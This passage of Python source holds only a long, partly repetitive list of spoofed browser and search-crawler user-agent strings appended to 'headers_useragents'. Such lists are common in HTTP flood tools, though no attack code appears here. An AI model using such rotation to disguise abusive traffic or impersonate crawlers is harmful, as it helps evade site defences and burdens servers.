  809.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  810.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  811.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  812.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  813.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  814.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  815.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  816.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  817.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  818.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  819.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  820.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  821.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  822.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  823.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  824.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  825.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  826.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  827.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  828.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  829.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  830.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  831.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  832.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  833.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  834.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  835.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  836.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  837.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  838.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  839.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  840.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  841.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  842.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  843.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  844.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  845.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  846.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  847.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  848.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  849.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  850.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  851.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  852.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  853.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  854.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  855.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  856.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  857.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  858.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  859.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  860.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  861.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  862.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  863.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  864.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  865.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  866.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  867.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  868.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  869.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  870.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  871.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  872.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  873.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  874.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  875.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  876.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  877.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  878.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  879.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  880.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  881.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  882.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  883.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  884.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  885.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  886.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  887.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  888.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  889.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  890.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  891.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  892.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  893.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  894.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  895.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  896.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  897.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  898.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  899.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  900.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  901.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  902.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  903.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  904.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  905.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  906.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  907.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  908.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  909.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  910.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  911.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  912.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  913.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  914.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  915.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  916.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  917.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  918.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  919.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  920.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  921.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  922.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  923.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  924.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  925.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  926.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  927.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  928.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  929.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  930.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  931.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  932.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  933.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  934.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  935.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  936.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  937.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  938.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  939.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  940.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  941.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  942.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  943.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  944.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  945.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  946.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  947.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  948.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  949.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  950.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  951.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  952.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  953.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  954.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  955.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  956.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  957.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  958.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  959.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  960.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  961.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  962.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  963.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  964.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  965.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  966.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  967.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  968.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  969.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  970.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  971.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  972.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  973.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  974.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  975.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  976.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  977.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  978.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  979.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  980.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  981.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  982.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  983.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  984.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  985.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  986.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  987.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  988.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  989.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  990.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  991.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  992.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  993.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  994.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  995.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  996.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  997.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  998.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  999.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1000.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1001.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1002.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1003.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1004.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1005.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1006.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1007.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1008.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1009.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1010.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1011.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1012.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
